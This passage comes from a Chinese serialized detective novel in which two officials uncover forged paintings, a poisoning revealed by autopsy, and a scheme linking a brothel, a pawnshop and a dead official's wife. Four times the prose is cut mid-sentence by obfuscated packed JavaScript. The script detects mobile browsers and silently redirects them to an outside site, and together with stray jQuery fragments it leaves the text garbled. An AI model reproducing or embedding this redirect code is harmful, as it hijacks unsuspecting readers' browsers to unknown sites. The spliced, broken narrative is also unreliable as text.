沈暨白嘱咐道，“陈府尚有人住，务必小心。” 柳如意点了点头。 因怕被发现，两人走得陈府的后门。 两人先是来到陈牵的书房，只见里头早已经被搬空，只留下几张孤零零的桌椅。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537369|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳如意咂嘴道，“果真，如管家所言，被搬的一点也不剩。” 沈暨白貌似未听见其说的话，说道，“找找有什么暗门。” 良久，两人都快将书房翻个底朝天，依旧没找出什么机关。 柳如意问道，“大人，你说会不会你直觉有误？” 沈暨白低头深思了会，良久，开口道，“陈牵要依靠老丈人家，故格外俱内。若夫人故氏未疯，怎会任由这些‘外室’将家中搬空……可是，在外室搬东西的事情上，管家不易造假，因为许府位于安平县中心地段，来往行人众多，一旦其说了假话，易被拆穿。” 柳如意顺着沈暨白推测，猜道，“那日，管家脸上一闪而过的惊慌，证明故氏的出现不在其料想当中。且跟着故氏的是名壮汉，也间接佐证故氏是被人控制起来的，那若是我是管家，我会将这位疯了的‘夫人’藏在……” 两人异口同声，“书房！” “因为她前阵子被人搬空，已没值钱的东西，故平常人自然也不会来这。” 两人绕着书房四周走着。 柳如意突然瞥见一书架的架脚有些奇怪，蹲下身来，用手指在架子底下使劲蹭了蹭，收回手指仔细端详道，“大人，这个架子，最近有人移动过。” 说完，将书架一推，立马地下出现了一个暗道。 两人相互看了眼，猫着腰，顺着暗道台阶，向下走去。 走着走着，暗道慢慢宽敞起来，光线也逐渐亮了起来。 暗道的尽头似是一间卧室。柳如意贴着墙壁，偷偷打量里面。 里头那人正是那日在陈府见到的那位夫人。 只见，其头发凌乱，呆呆报膝坐在塌前，嘴里不知道喃喃说着什么。 “银镯？”柳如意猛然瞧见其脚踝上的铃铛银镯，同无双脚踝间那只形式一模一样。 “这人不是胡氏，而是醉红楼女子。”说完，柳如意又将那日醉红楼同无双交谈脚镯的经历说了遍。 “屏住呼吸。”沈暨白从袖中掏出一根迷烟，点着。 只见，不一会，卧室的女人慢慢睡着。 沈暨白指着里头，小声吩咐道，“你先进去看看。” 柳如意佝偻着身子，小心朝女子走了过去。她认真观察着女子胸口的起伏，在确认女子确实睡着后，转头对沈暨白招手，嘴巴做出“可以”口型。 沈暨白这才慢慢走了进去。 两人脚步都很轻，生怕惊醒了睡着的人。 柳如意环顾四周，房间和平常房间摆设没有什么区别，只是这个房间内字画格外多。 小小一间房，墙壁上已是挂满二、三十件字画，案前也零碎地堆了十来件字画。 “为何这里摆放了这么多字画？总不至于给这失心疯的女子看吧？”柳如意内心不解，胡乱猜测道。 沈暨白没有理睬柳如意的胡言乱语，而是走至墙边，在一副画卷前停下脚步，仔细端详起来，“这字画是假的。” “何以见得？”柳如意问道。 沈暨白答，“许先生作画，喜欢在画的左下角留个小小“梅花”记号，且这画用的纸张是麻纸，他嫌弃其粗糙，所以一般不用麻纸作画。” “大人，说到假画，前阵子，下官在醉红楼也见到一副，其亦是出自陈牵之手。你说，他收集这么多假画到底是为何呢？”柳如意惑然。 17. 仵作验尸 沈暨白一时间也没有什么头绪，其立于画前，陷入了深思。 满屋子的字画，醉红楼的姑娘，两者之间究竟有何联系？ “大人，你瞧，这些字画左下角印章处都有朱色的小圈。”倏忽，柳如意小声喊道，打断了沈暨白的思绪。 沈暨白走上前，仔细对比柳如意手中的几副字画，确如柳如意所言，每副字画印章处的左上角均有个半颗细米粒大小的圆圈。 因其颜色和印章颜色相似，加之所占比例太小，若非仔细看，便极其容易被忽略。 沈暨白、柳如意又一一将剩余的画像比对了番，均存在朱色“圆圈”标记。 沈暨白骤然问道，“你可记得在醉红楼看到那副是否有此标记？” 柳如意摇了摇头，其本就不通字画，故也只是记得大概，“未仔细看，记得不真切了。” 两人正翻箱倒柜地寻找其他线索，不知什么时候，塌上女子缓慢地睁开双眼。 柳如意一个转身，与塌上女子双眼对视。 塌上的女子一个震惊，正欲叫出声音来。 沈暨白眼疾手快，迅速上前，正欲伸手将对方敲晕。 只见柳如意一个旋步，快步一手按住了沈暨白手上动作，一手自怀中掏出一个香包，口中嘀嘀咕咕不知念着什么。 一番操作下，女子很快又深深陷入沉睡当中。 “你何事学会的这种本领？”沈暨白重新打量柳如意，问道。 “三四年前，在边塞戍守时，机缘巧合救了位苗疆的蛊师，想着技多不压身，便随着他学习了一些奇技淫巧。不过，可惜在边塞也就待了三四个月，便被陛下召回京中，故也仅是学了些皮毛……”柳如意语气中满是惆怅。 沈暨白接着问道，“你这般，能否消除她记忆吗？” 柳如意答道，“应该能吧！”柳如意曾见其师父用此法催眠他人，并消弭被催眠人部分记忆。只是，她学习时间偏短，也未实践过，故也不确定。 “哦。”沈暨白想着对方竟然已经疯怔，消除记忆也就没有那么重要。遂又在屋内转了一圈，未发现其他东西，淡淡瞥了眼桌上的沙漏，“时间也差不多了，回去吧。” 等到沈暨白、柳如意离开后，从隔间内走出一人，男子身穿黑锻长袍，头带烟蓝色面纱斗笠，“起来吧。” 原本沉睡的女子亦缓慢睁开眼睛，恭敬行礼道，“主人果真神机妙算，料到他们这几日会有所动作，命我提前服下解药……” “还好吗？”黑衣男子见女子眼睛迷离，问道。 女子摇了摇头，“无碍，多亏大人给的解药，得以抵抗了些……” 黑衣男子摇了摇头，“她的手法生疏了些……不过倒是有我一故友的影子。若是他来，这解药也不管用。” 女子脸上略带担忧，又问道，“不过，大人如此煞费苦心，他们会查出那人吗？” 黑衣男子笑道，“不‘死’也伤吧。何况，沈暨白那般聪明，待案件查清，想必他也会有所怀疑……” 女子躬身点了点头，又说道，“沈大人如此沉毅渊重，万一其不入局呢？” 黑衣男子摆了摆手，勾唇一笑，“他不会的。不过，是时候该给沈大人送些礼物了，别让沈大人白来一趟……” 胡平县县衙外，一群人恭敬着在府衙外候着。一见沈暨白影子，连忙匆忙跑了过来，最前头的那位，肥头大肚，头带乌纱帽，穿着绯色云燕花纹补子园领衫，腰系着荔银钑花带。此人正是便是知府刘宇。 顿时，刘宇领着一群人跪倒在地，边磕头，边告罪，“沈大人恕罪，下官眼拙，未及时认出大人。前几日，因忙着处理胡平县年底的税收清单，未能好好接待大人，还请大人宽恕。” 沈暨白道，“临近年终，需收缴各类杂税，户部郎中猛然暴毙，你深受政务所缠身，本官甚是理解……不必行此虚礼，起身说话。” 柳如意立于一旁，见此情形，心中了然，相必是临县仵作已到达安平县县衙内。县衙中人自是八面玲珑，心思通透，最擅于察言观色。结合上头传来消息，加上仵作的口中“一星半点”线索，自然也就猜出沈暨白身份。 刘宇慢慢从地上爬起来，弓着身，十分谨小慎微地问道，“大人亲临安平县，可是为了户部郎中陈牵之案，有什么下官可以效劳的吗？” 沈暨白负手迈步，“临县仵作可有来？” 刘宇猫着腰跟在其后，往后挥手，一身材清秀、身穿粗布麻衣的男子走上前。 刘宇赶忙说道，“大人，隔壁县派来的王仵作正是他。” 沈暨白微微颌首，“进来吧，准备验尸。” 只见王仵作不紧不慢地将随身带的木箱打开，露出一排排整齐的尸检工具。 随后又自木箱中取出一副手套，缓缓地带在手上。 他轻轻抬起刘仵作手指，仔细打量道，“死者指尖无异物残留”。 接着，又有条不紊地打量起陈牵的四肢以及身体部分，淡淡地说道，“死者身体处无外伤，排除他人殴打致死……” 说完，其又轻轻扒开刘仵作的唇齿，探查到其左侧牙齿上有食物残留后，立马从一旁的木箱中取出一根银针，轻轻将食物残渣取出，置于一旁。 做完一套动作流程后，王仵作开口对一旁衙役说，“劳烦准备碗皂角水。” 闻言，衙役立马端上一碗皂角水上前。 只见，王仵作又自木箱取出一根银钗，用皂角水揩洗，探入死人喉内，以纸密封。 约莫过了半晌，王仵作取出了银钗，只见银针颜色已经变为青黑色。后，王仵作又将银钗插入皂角水中，银钗未褪色，“应是中毒而亡。”说完，其又对食物残渣做了检测，结果相同。 “食物中毒？”沈暨白问道。 王仵作答，“也并非一定是因为食物中毒，也可能是其接触过什么东西，导致不小心误入口中，或者服用药物，导致中毒的。”说着，又自木箱中取出一把小刀，准备对尸体进行解剖。只见刀尖在尸体上不断没入，腹部，尸首内部，一一验过。 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537370|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如意站在一旁，听到“接触”两词，脑中闪过册子，遂离开厅中，来到一角落，从怀中掏出一骨哨，往里头吹了声。 顿时，暗处出来一人。此人正是李衡。平日里躲在暗处，只需柳如意吹哨，便可立马出现。 “去巷尾住处帮我取来碎布包的册子。我放在进门房间的柜子第二格。” 李衡应下后，偏匆忙赶了回去。 柳如意吩咐完后，想起那日沈暨白的举动，心生诧异。于是，悄悄朝沈暨白走去，用仅能两人听到的声调小声说道，“大人，可是早就知道刘仵作中毒而死？” 沈暨白点了点头，“有猜到。” 约莫着过了一个时辰，王仵作才放下刀具，脱下手套，朝沈暨白行礼道，“大人，已查验完毕，死者中毒而死。似是饮用毒液所制，非食物中毒而死，因为毒素大部分残留在胃中，小肠处偏少。” 沈暨白颔首，有礼道，“辛苦了。还请看下这本册子是否有毒。” 王仵作从柳如意手中接过册子，又带上手套，慢慢将外头的布解开。 只见，其翻开书的一页，将其浸入水中，重复操作几次后，又将银簪探入水中，银簪迅速变为黑青色。 “看来这个册子‘中毒’不轻呀。”柳如意调侃道。 立于一旁的知府刘宇耳尖，以为找到凶器，遂开口问道，“大人，请问这册子是在哪里找到的？” 沈暨白淡淡答道，“刘仵作家中。” “那当下关键便是要找出这册子主人……”说完，刘宇又叹了口气，“不过，这刘仵作孑然一身，也无什么亲戚，要是查起来，怕是有些麻烦。不过，大人只管放心，下官定会加大人力，搜寻线索。” 沈暨白摇头道，“不用那么麻烦，我倒是知道它的主人是谁。”说完，又将王仵作喊了过来，对王宇吩咐道，“带他验一下陈牵的尸体。” 又是一个时辰，王仵作已是疲惫，身体有些微微晃动，柳如意一个健步，闪到其跟前，帮其稳住身体。 王仵作朝柳如意做了揖，道谢道。 接着，又朝沈暨白走去，“大人，陈大人也死于中毒。” 立于一旁的刘宇闻言，额尖已满是细密的汗珠，或是因为其也没想到陈牵死于中毒，毕竟陈牵死于烟花之地，加之其平日风评不好，好美色，死于做过死，也很正常。 只听“啪”地一声，刘宇已是膝盖落地，“大人，下官也是受刘仵作蒙蔽，毫不知情啊。” 沈暨白胡疑打量道刘宇，只见其身体微微颤动，脸上除了“害怕”还夹杂了几许震惊，遂连忙伸手将刘宇扶起，淡淡笑道，“刘知府，切莫紧张。毕竟，术业有专攻，验尸这事情，若非专业之人，看不出来甚是正常，陛下想必也定能理解。”说着，话气一转，试探道，“且当下关键之事，也是将幕后真凶缉拿归案嘛？” 刘宇连连点头，承诺道，“下官必定竭尽全力，早日查明真凶……” 沈暨白摆摆手，示意府衙内其他人退下，自己同柳如意、李衡往衙门外走去。 18. 两幅面孔 待刘宇一行人走远，沈暨白突然开口问道，“你觉得刘知府的话，几分真假？” 柳如意低头思忖道，“刚才王仵作指出陈牵死于中毒，刘知府面上明显露出震惊之色，可知其大概率对陈牵死因不知情。”接着，柳如意又耸了耸肩，嗤笑道，“不过，阿兄曾同我说，官场中的男子最可不信，最容易有两张面孔……” 说完，柳如意觉得不妥，似乎有些冒犯了沈暨白，遂急忙开口解释道，“大人，这话说的是其他男子。像大人这样的，一看就是清风朗月，正气凛然，绝对不是那种人……” “是吗？说不定我真有两面面孔呢？”沈暨白轻弯眼眸，淡淡笑道。 柳如意呆懵片刻，竟然有人自己给自己拆台，“大人莫开玩笑了，您怎么可能是那种人呢？”说完，怕沈暨白再说出些语不惊人死不休的话，立马转移话题道，“大人，接下来我们去哪？” “你觉得我们该去哪里？沈暨白未回答，反问道。 柳如意歪了头仔细思量，“陈牵好美色。幕后真凶定是知其癖好，投其所好，送给其一本多年浸泡在毒液当中的书。待陈牵翻页捻纸时，手指已是沾染毒物。后手指因沾取唾液，触碰至舌苔，遂中毒而亡……至于那名女子，或是因与其交缠时，不慎嘴触及其手指，导致同样中毒身亡……至于刘仵作之死，应是其在尸检时，见此册中内容，心中起了淫念，偷偷私藏下这本册子，其后观看时，也因此中毒身亡。” 如此一来，极有可能熟人作案。 陈府出现的那位精神失常的女子又是谁？会不会是凶手？可是，她为何佩戴醉花楼的脚镯？ 陈府内假画上标记又是为何？醉红楼的那副牡丹图有无标记？ …… 太多疑问在脑中闪过。柳如意只觉脑海里一片混沌，种种线索交缠，编织成一张巨网，将人包裹，欲将其绞死网中。 柳如意顺着巨网，死死扒拉，纲举目张，找到其中联系，“醉红楼！” 醉红楼内，依旧是热闹。琴声清幽，直透过烟雾传来。 老鸨见到沈暨白、柳如意身影，急忙迎了上来，“两位大人，可是有寻到什么线索？” 柳如意点了点头，“案件已有些眉目了。今日前来便是向你了解情况，求证事实，你可务必如实告知，不要妄言。” 老鸨闻言，谄媚哈腰道，“大人，奴家哪敢扯谎，定知无不言。” 柳如意轻摇折扇，勾嘴笑道，“那就还是去上次的屋子里吧，坐着舒服。” 说着，老鸨轻摇团扇，将人往里头引了过去。 两人在屏风后的束腰攒角牙方桌旁坐了下来。 柳如意抿了抿茶水，从袖口拿出一副画，递给老鸨，问道，“这个你可熟悉？” 老鸨接过画，画上正是银色脚镯，“大人，干我们这一行的，多半是家中贫苦，或家道中落……她们年幼的，刚进来多少带着些不情愿，想方设法地要逃出楼去。可是，她们肩不能抗手不能拎的，没个武术傍身，出去后也难寻活技，甚至可能被贼人盯上，恐有性命之忧。故奴家特意做了这个脚镯，为的便是保护她们安危。” “那这脚镯是只有你们这有？还是别的地方也有。”柳如意问道。 老鸨摇了摇团扇，唤来一名女子，“大人，你仔细看银镯上面的铃铛……” 只见那名女子挽起裙摆，露出脚踝处的银镯，上头铃铛上刻着“醉红楼”三字。 柳如意又接着问道，“听说，陈牵每次来这，都喜欢送姑娘们一些字画。” 老鸨咽了口口水，急忙招手道，生怕官府向他们讨回字画，可那些早已被换成银子，遂试探地问道，“大人，可是那画有问题？” 柳如意眼瞥了他一下，淡淡说道，“倒也不是。” 老鸨才怯怯说道，“这儿的姑娘多半生活凄苦，来这也不过是求条活路。而陈大人赠予的字画实在无法裹腹，为了活口，姑娘们也只能将其当掉，换些银两，接济生活。” 沈暨白站在一旁，闻言，突然开口，打断道，城中共有当铺有几家？” 老鸨答道，“回大人，安平县是个小地方，不似他处繁华之地，只有城西巷口的一家当铺。” 沈暨白点了点头，又垂眸深思。 “楼中尚有陈大人送的子画吗？”柳如意问道。 老鸨点了点头，“房间内有一副。”说着，便将两人引至帘子后。 帘子后的那副字画，正是上次所见的牡丹图。 柳如意眼睛瞥了眼字画，神色兀的一冷，眉头深深拧起。 这副牡丹图上，印章处没有朱色圆圈！ 柳如意复又问道，“其他画有吗？” 老鸨答道，“茴香那边还有一副，前阵子因事耽搁，故一直没前去当铺将其当了。”说着，摆手招来一人，吩咐其前去取画。 半晌，画便被取了回来。 柳如意将纸轴打开。只见，这画的印章处也有一朱色的圆圈。 “一般一幅画能卖几许银钱？”柳如意道。 老鸨答，“因都画作都不出自名家，所以卖不出高价，不过，收入也算可观，能卖上两、三两银子。” 两三两银子，可抵上平常人家六、七日开销了。“陈大人可有什么相好？”柳如意接着问道。 老鸨摇了摇头，“未曾听说过。” “那可在你们楼中赎过别家姑娘？纳到家中作为妾室。”柳如意又问。 老鸨依旧是摇了摇头，“陈大人惧内，其发妻胡氏向来注重声誉，不容许他为姑娘们赎身，更遑论纳我们这儿的姑娘为妾室了。” 柳如意纳闷，府中的那位女子又是何人带进府去的呢？“陈大人有钱有权，就没有楼中姑娘偷跑出去，偷跟着他的？” 老鸨偷偷环看了四周，压低嗓音小声地说道，“倒是有位姑娘，唤翠娟。听牙子说，本是位大户人家的小姐，后家中生意落败，走投无路才卖身至此。” “来这后，她向来安分守己……因面容娇好，深受许多人喜欢……这陈大人便是其中的一位。” “但突有一日，翠娟意外失踪……” “后来我托人找了许久，都没能找到她……”说到这里，老鸨的声音又低了几度，“不过，一年后，有掮客曾在陈牵府中有见过翠娟……” 老鸨一声唏嘘，“不过，都是些口说耳听之事，不一定当真……” 沈暨白勾唇笑道，“你们就没偷偷潜入陈府确认一番？” 老鸨惊慌，“给奴家几个胆，也不敢呀。陈大人可是财主，得罪了他，奴家这楼也别开了，直接喝北风。” 沈暨白闻言，只是微微笑了笑，未言语。 见状，柳如意接着问道，“陈大人可有什么仇家？” 老鸨想了会，“应该是没有的。陈大人出手大方，对人也和和气气的，倒是没听过有什么仇家。” 柳如意见问着差不多，偷偷瞥了眼沈暨白，见他低垂着头，遂开口问道，“沈兄，你还有什么疑问吗？” 沈暨白摇头道，“走吧。” 马车上。 沈暨白眉头紧锁，双眼微颌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537371|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “沈兄，可是在想老鸨所说的话？”柳如意问道。 沈暨白闻言，睁开双眼，细长的手指轻抚眉心，“你觉得老鸨说的话，几分真假？” 柳如意蹙眉，又考自己，深思了半刻，“关于翠娟的事，我感觉老鸨定还知道些什么……” 柳如意又道，“生意之人，最不会做的便是亏本生意。翠娟是醉红楼的招牌、老鸨的摇钱树，若是发现其在陈府，老鸨定去千方百计找人去证实一番。若是确在陈府，怎么也可大捞一笔，毕竟陈牵在美色这块，不是那般计较钱财之人。” 柳如意喃喃道，“只是为何老鸨会说自己没去查验过呢？” 说完，又顿了会，说出了个猜想，“除非…她…之前已经收受陈府钱财，替人保密罢了。故她才说得那么小心，甚至假借他们之口……那如今被迫说出，只能说明……”接下来的话，柳如意不敢说出来，实在太荒诞。 沈暨白微眯的眸子中透出些赞赏之色，是块查案的好料子，“怎么不接着说。” 柳如意吞咽道，“……只能说明，她知道我们查的是什么？怕引火上身，” 沈暨白双眼微眯，透出冷冽的目光，“消息可传的真迅速。”说完，吩咐道，“派几人暗中调查下翠娟。” 柳如意应下，“好。”因见话题有结束之意，伸手捏了捏眉心，欲眯眼休息片刻。 只听耳边又传来沈暨白的声音，“朱色圆圈作何解释？” 柳如意又是一顿思索，“嗯……若是说这标记为标记假画所用，可为何单单醉红楼内牡丹图上没有这标记？” 沈暨白轻笑，打断其思路道，“或许那幅画是真的呢？” 柳如意惑然，“大人为何如此说？” 沈暨白神色暗了暗，“那幅画是我祖父所作。旁边的字，是我练笔所写。那时，学识尚浅，不小心将‘動’字写错，后为告诫自己多读多学多看，被祖父收起，一直放在老家书房内……” “那为何会出现在胡平县？”柳如意讶然，相比于许宗是其祖父，她更惊讶画为何出现在这。 “或是有人想引我入局吧。”沈暨白嘴角轻勾，眼中尽是嘲讽。他只想壁上观之，独善其身，偏偏有人逼他入局。 柳如意闻言，心中了然。 如今的大乾明面上看似风平浪静，实则暗流汹涌。 景行帝嫡长子赵奚为人单纯，治国才能一般，故朝廷中其拥趸者也不算多。对比其他皇子，略有些不足。 景行帝年事已高，太子能力不行，其他皇子也难免会蠢蠢欲动，生出了不该有的心思。 而皇子们虽未明面上撕破脸皮，实则背后为了争夺储君之位，暗中不停拉拢朝臣，以此壮大自己的力量。 而大乾向来重文轻武，沈暨白作为景行二十五年状元，年纪轻轻就官拜副二品官职，故是不少人想要拉拢的对象。 故，这场棋局，就算沈暨白不想入，迟早也会有人将其推入局中。 正如自己，入朝为官，不也是圣上的一步棋吗？目的便是壮大太子党势力。宦海沉浮，太多身不由己，遂担心问道，“那大人打算怎么办？” 沈暨白挑开马车帘子，望着漫漫前路，淡淡说道，“走一步，观一步吧……” 柳如意点了点头，见此话题过于深沉，遂又将话题转到了案件上，“既然牡丹图是真的，那这标记极有可能是为交易假画所用？” “可是，当铺收假画干嘛呢？” 沈暨白摇了摇头，撩起帘子，对车夫说道，“去城西的那间当铺。” 19. 假画买主 城西当铺，朱红色的灯笼在当铺檐角被风轻轻撩起，洒下斑驳的光影。 柳如意只脚刚跨进当铺内，迎面走来一人，因那人步履匆匆，低垂着头。柳如意来不及闪躲，硬生生地撞了个满怀。 那人穿着麻鞋，身着蓝色布衣长衫，被如此一撞，踉跄跌倒，怀中的包裹散落一地。 “不好意思。”柳如意伸手欲搀起那男子。只是那人压根未理会她，一味低头拾起地上的包裹，又将其往怀中紧了紧，便匆忙地离开了。 “来这无非都是典当赎当买卖。或是家中囊空如洗，等着银两救急；或是淘到好玩意，怕人觊觎，藏着掩着……见包裹形状，棱角分明，但又不同于装金银的匣子那般方正规整，却是极为狭长……”柳如意盯着那人匆忙离去的背影，“好生奇怪。若非典当，刚到手的东西，也不怕撞出个好歹？”向来这些玩意儿，磕出些磕碜，可是少了大半价钱。就这么走了，也不理论，甚是奇怪。 沈暨白捻了捻大拇指上的白玉扳指，惑然，”只是……其身着蓝衣长衫，布料也是极为粗糙，不似出自官贾富商之家，倒是像极了白屋寒门的子弟。”古物文玩、墨宝丹青，多为富家子弟消遣的玩意儿。如此一大包裹，定非蓝衣男子之财力所能及。 “可若其只是个贩夫走卒，摔坏主人家的物件，就不怕为人刁难，受人谩骂？讨来一顿毒打，甚至失了性命……”柳如意蹙眉道“有问题……” 柳如意立于门扉边，手不经意轻叩木门，顿时暗处一身影略过，楼顶瓦片发出微响。 暗卫者，潜于晦暗处，以暗号示之，即出。 自来胡平县，因怕引人注目，李衡便一直隐藏于暗处，非召不出。刚才两声极短轻叩声，正是命其跟踪调查之意。 “公子，可要典当何物？”见沈暨白一身白衣绮靡，素色绫罗袍子袖口露出的半寸金丝梅花，腰间别了块蟠螭纹玉珏，整人气质不凡，料其定是为世家公子。一改往常嗤之以鼻面孔，笑眼问道。 沈暨白清叹，摇头道，“此次我是前来寻一物件的……” “哦？公子可是要找何物？”当铺掌柜轻捻八字胡，故作高深道“公子可别看我这地小，稀奇物可不少。” 沈暨白道，“画。” 听到“画”字，当铺掌柜神情微变，骤然松开捻须的手，“瞧公子不像本地人？来这儿是要找什么画？” 沈暨白点头道，“老板好眼力……我同阿妹从京城而来。” 说完，沈暨白叹口气，“家中阿爷马上就要过七十大寿，无其他爱好，就偏偏好许老的字画。恰好京中一朋友游历至此，发现有人曾在你这典当过其字画。恰巧，其回京后，又得知我在四处寻许宗许老的字画，遂同我说了番……这不？得知消息，我和阿妹便赶忙来这碰碰运气。若是能寻到，阿爷开心，也就值了。” 陈牵府内，书房暗室中，为何会有如此多的许老字画赝品？醉红楼内，为何单单留下副牡丹图真迹，其他所赠字画是否为真？刚才那位蓝衣男子行色匆匆，手中所抱之物倒有些似字画箧子……种种迹象，在沈暨白脑中化为无数条猜想，接下来，他要做的便是进行求证。 “我这儿字画不多，是个稀罕物，不过，要说许老的字画，我这还真有……”说完。当铺掌柜自身后拉开一暗格，从里头取出一雕花描金边的细长匣子。 随后，当铺老板从案桌上取了块素巾，清拂匣面，继揭开匣盖，只见里头衬着白绫，上头托着一卷字画。其轻轻将话托起，徐徐展开，呈现出副傲雪寒梅图。 柳如意踱步往前凑了凑，枯骨嶙峋的枝干上点缀了几朵红梅，留白处不点皆为雪，又有胭脂沾雪，朱砂点萼，色彩对比明显，又显红梅独立天地、寒香彻骨的傲气。而画的左下角留着小小“梅花”印迹。 柳如意双目微眯，画是好画，只是……不同于陈府的画，这副画上左下角印章出没有米粒大小的圆圈。 她偷偷侧目瞄向一旁沈暨白，只见其目光落于画上，眼珠微转，面上却无什么表情。 沈暨白无奈道，“阿爷不太喜欢梅花，铺里可还有其他许老字画？” 当铺掌柜摇了摇头，“只剩下这最后一副了。” “可是被一公子买去？”沈暨白见当铺老板面上露出惊讶表情，连忙解释道，“刚才阿妹不小心在门口撞到一位公子，其包裹散落在地，无意窥见里头字画的一星半点，便大胆猜了猜……” 当铺掌柜撇了撇八字须，垂眸打量沈暨白，欲从其神色中观察出些蛛丝马迹，“确实。” “掌柜能否透露出些消息？”沈暨白试探问道。 “这关乎当客隐私，恐怖不好。若是我这随意泄露当客信息，被他人传了出去，岂不砸了自己招牌……”当铺掌柜刚想借口推辞，只见柳如意从布袋中掏出一锭碎银递过去，其立马转口道，“只不过，公子寻画是为了令阿爷寿辰开心，孝心撼天动地，令人动容……” 当铺掌柜身体又往两人跟前凑了凑，小声说道，“其实，许老字画背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537372|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的买主一直是陈夫人胡氏。” 两人闻言一怔，柳如意又确认了番，“可是故去陈牵大人妻子？” 当铺掌柜点头道，又压低声音道，“刚才你们撞上的那位就是胡氏身边的小厮。” 柳如意接着问道，“掌柜可知胡氏手中有几幅许老的字画？” “不清楚……但她从我里这边只买了一两幅吧！”当铺掌柜回忆道。 “见掌柜神情，胡氏手中字画倒不似近期所买。可刚我不小心瞥见其包裹，其中貌似就有一幅许老的字画。”沈暨白眼眸微微眯起，眼神中带着狐疑。 “这？”当铺掌柜欲言又止，长叹了口气，停住了，只是手中不停把玩着柳如意刚给的碎银。 柳如意见状，连忙从布袋中又掏出一块碎银，递了过去。 当铺掌柜轻瞥一眼，摆头叹气。 于是，柳如意又从布袋里掏出一整两银子，连同刚才一块碎银一同递了过去。 当铺掌柜长袖一兜，将银子悄悄顺到袖口中，“那些都是假画。” 其实，两人都有料到，只是如此答案竟水灵灵被当铺掌柜说出，着实有些讶异，“假画？” 当铺掌柜压低声音，“去岁辰时，我刚用完早膳，胡氏便差小厮请我前去陈府详谈一桩大买卖。” 他顿了顿，抬眸扫了眼四周，见无人又接着小声说道，“公子，胡氏是胡平县富商之女，故其说的大生意必定不假。于是我便急忙跟着陈府小厮前去陈府。” 说完，眼神又左右扫了眼，四下无人，头往前凑近说道，“她让我照单全收醉红楼的字画，而随后他又以一幅画一百文溢价从我手中买回。” “如此折腾？”陈牵和胡氏，一买一卖，绕了如此一大圈，到底目的究竟是什么？柳如意眉头紧蹙，心中已被团团疑云笼罩。 “这究竟为何，我就不甚清楚。我们这些人，本就是拿钱办事，当客的其他事情我们从不过问。”说完，当铺掌柜双手合十，拜托道，“公子、小姐，我年三十有余，家中尚有老小，全家几口就靠当铺盈利糊口，还望两位公子小姐缄言，切莫向外人道说今天之事。若是胡氏等人问起，还请帮忙遮掩。” 两人点头，便转身离开了当铺。 公廨内，李衡早在那儿候着。见柳如意身影，连忙上前禀报，“大人，他那人去了胡府。” 柳如意想起当铺所闻，求证道，“有瞧见见得是何人？” “隔着比较远，但依稀可见，是位妇人……” 20. 两位阎王 若是胡氏如今在胡府，那么府中那位疯癫“夫人”又是谁？ 陈府那位，管家为何也称其为“夫人”，大乾是最注重尊卑秩序的，如此称呼一没有名分女子为“夫人”，实属令人生疑。管家如此称呼，不怕主人胡氏责怪？ 胡氏为何替陈牵遮掩？当铺中的假画，胡氏是只充当买者，还是另有其他身份？ 胡氏又是何时离开的陈府？是陈牵死后？还是近日打点完后事才回的娘家？其对于另一位“夫人”被关押是否知情？ 柳如意思绪万千，一时间陷入了疑惑当中，整个人如同置于迷雾当中，瞧不清方向。忽然，脑中似有破晓晨光划破黑暗，瞬间变得清明起来。 没错，如此种种迹象，矛头均指向胡氏一人，她身上疑点太多。 柳如意眸色一亮，吩咐李衡道，“取我官袍，传讯胡氏问话。” “不妥。”立于一旁的沈暨白伸手拦下李衡，制止道。 柳如意歪过头，示意李衡先行退下，又望向沈暨白，眸中满是不解，“为何？” 沈暨白温声解释道，“太过冒失，胡氏虽不是名门望族，却是胡平县内数一数二的富庶乡绅。如今全然靠他人说辞，凭已之猜测，贸然上府拿人，以胡平县这地方的大小，恐怕不出一个时辰，就会有百姓大闹府衙，要求放人。” 听沈暨白如此一番说辞，柳如意方才明白自己被案件冲昏头脑，考虑不够周全。 胡氏作为胡平县大族之家，必定深受百姓拥趸，贸然拿人，打草惊蛇不说，难免落人口舌，引得百姓不满。 